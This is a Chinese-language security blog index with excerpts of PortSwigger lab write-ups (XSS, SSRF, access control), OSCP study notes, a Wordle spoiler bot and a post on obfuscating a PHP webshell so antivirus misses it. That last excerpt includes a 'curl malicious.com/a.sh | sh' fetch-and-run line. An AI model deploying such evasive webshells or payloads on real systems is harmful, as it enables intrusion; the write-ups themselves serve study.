Cross-site scripting (XSS) (PortSwigger Writeup)

我覺得 XSS 的題目都有一點通,還有一點無聊 QQ Lab: Reflected XSS into HTML context with nothing encoded 題目敘述 This lab contains a simple reflected cross-site scripting vulnerability in the search functionality. To solve the lab, perform a cross-site scripting attack that calls the alert function. 題目解釋 在搜尋功能的反射性 XSS 解答 在搜尋上面打 alert(1) Lab: Stored XSS into HTML context with nothing encoded 題目敘述 This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the blog post is viewed. ...

2022-02-26 · 13 分鐘 · steven

OSCP ㄉ一些心路歷程

距離考過 OSCP 已經 2 個月了,終於比較空下來可以寫一下關於心得的文章~~,再不寫也要開始忘ㄌ~~,最近時常也有許多的朋友們來問一些準備訣竅等等的問題,為了避免常常被私訊問 + 回答一樣的問題,所以打算來寫一篇文,之後遇到一樣或類似的問題就直接貼這篇給他們看就好。 報名前的準備 在考 OSCP 前,我有一定的 Web CTF 經驗,但其實我的 Web 技術也不算是太好,大概就 AIS3 Pre-exam 勉強可以進去,或是金盾獎可以吊車尾的得名左右的程度,我覺得單純論 Web 的難度而言,對應上 CTF,這樣的程度就已經綽綽有餘了。 在 OSCP 的考試中,除了 Web 的技術之外,基本上用不到 Reverse 的技術,除了其中一題的 Lab 之外。而 Crypto 的技術基本上也用不到太多,只要會用工具,例如使用 CyberChef 做一些編碼、解碼、加解密就夠了。我覺得打滲透比起 CTF,最大的差異應該是思路,要先試著找出伺服器的特徵,尋找已知的 1-Day,千萬不要埋頭苦幹,100% 自己打洞,現實生活中的滲透也是如此。 之所以會想在這個時間點考 OSCP 主要就是因為在開始寫認真論文前,剛好有一個空檔的感覺,實驗室在做的計劃,學弟妹也都開始可以順利接棒,這段時間剛好可以來學一些有趣的東西。 各種便宜ㄉ練習機 因為 OSCP 的 LAB 跟考試真的貴鬆鬆 QQ,所以滿多人會使用一些第三方的靶機、LAB 來提前作一些練習,我在暑假的兩個月多月中,主要打了一些 Try Hack Me (THM)、 Hack The Box (HTB) 的靶機,其中, THM 約打了三十幾台,感謝飛飛借我付費版的帳號 >序號題目名稱日期備註1Dotty2021-10-09第一台2Alpha2021-10-15LP13Alice2021-10-15LP34Beta2021-10-16LP25Disco2021-10-16LP46Susie2021-10-16LP57Hotline2021-10-16LP68Break2021-10-179Core2021-10-1710Sufferance2021-10-18魔王題11Gh0st2021-10-18小魔王(?12Pain2021-10-19舊魔王13JEFF2021-10-1914Phoenix2021-10-1915Sean2021-10-20LP1016Mailman2021-10-2017ralph2021-10-2118Chris2021-10-21LP719MIKE2021-10-2220Leftturn2021-10-2221Mail2021-10-2422Jd2021-10-2523Bethany2021-10-26LP1124XOR-App592021-10-2625XOR-App232021-10-2726Tophat2021-10-2727SVclient082021-10-2828Humble2021-10-28魔王29Timeclock2021-10-3030Kraken2021-10-3031FC42021-10-3032DJ2021-10-31331nsider2021-10-3134Gamma2021-11-0135Bruce2021-11-0236Bob2021-11-0237Shared2021-11-13IT38Freddy2021-11-13IT39Chimera2021-11-14IT40Mvua0072021-11-14IT41Thelongnight2021-11-15IT42Tablemanners2021-11-15IT43Luigi2021-11-16Admin44Mario2021-11-16Admin45Jack2021-11-17Admin46Tricia2021-11-17Admin47Harry2021-11-17Admin48Ekzameno2021-11-17Admin49Kaitlyn2021-11-18Admin50Manager2021-11-18Dev51John2021-11-18Dev52Adam2021-11-18Dev533141592652021-11-1954Defender2021-11-1955Cory2021-11-1956Master2021-11-1957Nina2021-11-20IT58Carrie2021-11-20IT59Nicky2021-11-21IT60Brett2021-11-21IT61James2021-11-21Dev62Carol2021-11-21Dev63Peter2021-11-2164Pedro2021-11-2265Maria2021-11-2466SV-File012021-11-2567SVClient732021-11-2568SV-DC012021-11-2569XOR-App072021-11-2570XOR-DC012021-11-2571Ajla2021-12-1Sandbox72Zora2021-12-1Sandbox73Poultry2021-12-1Sandbox74Cevapi2021-12-1Sandbox75SandboxDC2021-12-1Sandbox 預約考試 很快的,時間就到了快要考試的時候,真心建議大家要在考試前至少兩周,或更早就申請考試時間,我在 Lab 快要結束的時候 (11月底),報名了考試,當時就只能預約到 1 月初的考試時間,因此我就預約了 1/12 的考試。 ...

2022-02-22 · 2 分鐘 · steven

Wordle Spoiler Bot

GitHub : https://github.com/stevenyu113228/Wordle-Spoiler-Bot 感覺 Wordle 也紅一陣子了,但我覺得最近的題目都好難,都解不出來 QQ,一氣之下就寫了一個 Telegram 的腳本來自動地告訴我當天的答案。 原始碼分析 觀察 https://www.nytimes.com/games/wordle/index.html 首頁的原始碼,可以看到一個重點的 JavaScript,main.bfba912f.js (後面的 Hash 可能會變) 按下去後會取得一大串壓縮後的 JS,可以先把它送到 JS Beautifier 上面,就能看到大量的解答ㄌ,題目是每天照順序取一個出來。 理論上我們可以把這個 List 取出來之後,透過計算 Offset 的方法就能取得當天以及未來的答案。 但這樣的問題是,如果 Wordle 未來修改了原始碼,可能就會預測失敗 QQ。 因此我的解法是大致的看完原始碼後,發現他會呼叫一個 Class 跟他的 Function new wordle.bundle.GameApp() 這個產出的 Object 中,有一個屬性叫做 solution 即為答案。 所以我們可以在 F12 中輸入下列指令取得答案 (new wordle.bundle.GameApp()).solution 接下來再把這個功能給用 Selenium 包起來,透過 Selenium 可以執行 js 的特性來取得答案 driver.execute_script("return (new wordle.bundle.GameApp()).solution") 最後調整時區、套上 Telegram 的 API 、 包成 Docker 就大功告成了!

2022-02-16 · 1 分鐘 · steven

簡單 PHP Webshell 免殺

原本想隨便寫一個 Webshell 測試使用,但一下就被 Defender 吃掉了 "str_ro" // "str_ro"."t13" => "str_rot13" // ("system")(("str_rot13")($e)) => system(str_rot13($e)) // system(str_rot13($e)) => system("curl malicious.com/a.sh | sh") 在 VirusTotal 上竟然 All pass ㄏ

2022-02-15 · 1 分鐘 · steven

PHP Linux Extensions Hello World

要做這個主要是碩論的研究跟 RASP 有一點點關係,而 PHP RASP 需要透過 PHP Extenstions 來進行編譯以及使用,所以本文主要會記錄一些基本的 PHP Extenstions 的撰寫以及開發方式。 本文會需要使用到的環境 任意 Linux 或 WSL 搭配 Docker Docker Ubuntu 20.04 PHP 7.3.33 Source Code 環境建置 在安裝好 Ddocer 後,理論上一鍵就可以建置好乾淨的 Ubuntu 20.04 docker,理論上-v 的部分可以自己修改掛載點 sudo docker run -it -v /home/steven/compile-rasp/mount_point:/mount_point ubuntu:20.04 接下來可以安裝一些之後可能會用到的小工具 apt update apt install wget unzip software-properties-common -y apt-add-repository ppa:ondrej/php apt install php7.3-dev -y 途中 software-properties-common 的安裝過程可能會跳出一些東西,就照著回答就好了。 接下來下載 php 相關的程式碼 cd mount_point wget https://www.php.net/distributions/php-7.3.33.tar.gz tar zxvf php-7.3.33.tar.gz chmod -R 777 * # 因為我在 Docker 外使用 Mount,這樣處理權限比較簡單 建立第一個 Extension 要寫 Extenstion,第一件事情是需要先建立一個 Extension,在原始碼路徑中 php-7.3.33/ext 中,有一個名為 ext_skel.php 的檔案,skel 是 skeleton (骨架) 的縮寫,也就是讓我們建立一個軀殼。 ...

2022-02-14 · 2 分鐘 · steven

Server-side request forgery (SSRF) (PortSwigger Writeup)

Lab: Basic SSRF against the local server 題目敘述 This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos. 題目解釋 任意發 HTTP GET Request 解答 觀察 Stock check 的 API 發現他會去戳 http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 改送 http%3a%2f%2flocalhost%2fadmin 發現就能看到 admin 介面 再送 http%3A%2F%2Flocalhost%2Fadmin%2Fdelete%3Fusername%3Dcarlos Lab: Basic SSRF against another back-end system 題目敘述 This lab has a stock check feature which fetches data from an internal system. ...

2022-02-14 · 4 分鐘 · steven

第一篇貓咪🐱

這是我ㄉ第一篇貓咪🐱 主要會在這邊貼一些自己的筆記或是一些亂七八糟ㄉ東西 然後近期可能會補上一些以前存在其他地方的文 為了避免混亂,發文日期會設定成比較早ㄉ時間 就醬喵ㄅㄅ

2022-02-12 · 1 分鐘 · steven

Business logic vulnerabilities (PortSwigger Writeup)

Lab: Excessive trust in client-side controls 題目敘述 This lab doesn’t adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a “Lightweight l33t leather jacket”. You can log in to your own account using the following credentials: wiener:peter 題目解釋 竄改 POST 內容 解答 在加入購物車時會順便 POST 價格 POST /cart HTTP/1.1 Host: acd31fa31fe0b3dcc04314f500560069.web-security-academy.net Cookie: session=IxPR6nrwBtk0VSUHVKPDmBuwG2IJVK8z User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 49 Origin: https://acd31fa31fe0b3dcc04314f500560069.web-security-academy.net Referer: https://acd31fa31fe0b3dcc04314f500560069.web-security-academy.net/product?productId=1 Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 X-Originating-Ip: 127.0.0.1 X-Remote-Ip: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Te: trailers Connection: close productId=1&redir=PRODUCT&quantity=1&price=133700 竄改成 1 再去購物車結帳就好ㄌ ...

2022-02-11 · 9 分鐘 · steven

WebSockets (PortSwigger Writeup)

Lab: Manipulating WebSocket messages to exploit vulnerabilities 題目敘述 This online shop has a live chat feature implemented using WebSockets. Chat messages that you submit are viewed by a support agent in real time. To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent’s browser. 題目解釋 練習用 Burp 抓 Websockets 解答 用 Burp 抓包後,上面有一個 Websockets history 把資料丟到 Repeater 之後改輸入 {"user":"You","content":" "} Lab: Manipulating the WebSocket handshake to exploit vulnerabilities 題目敘述 This online shop has a live chat feature implemented using WebSockets. ...

2022-02-08 · 3 分鐘 · steven

Access control vulnerabilities (PortSwigger Writeup)

Lab: Unprotected admin functionality 題目敘述 This lab has an unprotected admin panel. Solve the lab by deleting the user carlos. 題目解釋 沒有限制的 admin 面板 解答 從 robots.txt 可以看到 /administrator-panel,進去刪帳號 Lab: Unprotected admin functionality with unpredictable URL 題目敘述 This lab has an unprotected admin panel. It’s located at an unpredictable location, but the location is disclosed somewhere in the application. Solve the lab by accessing the admin panel, and using it to delete the user carlos. ...

2022-02-07 · 6 分鐘 · steven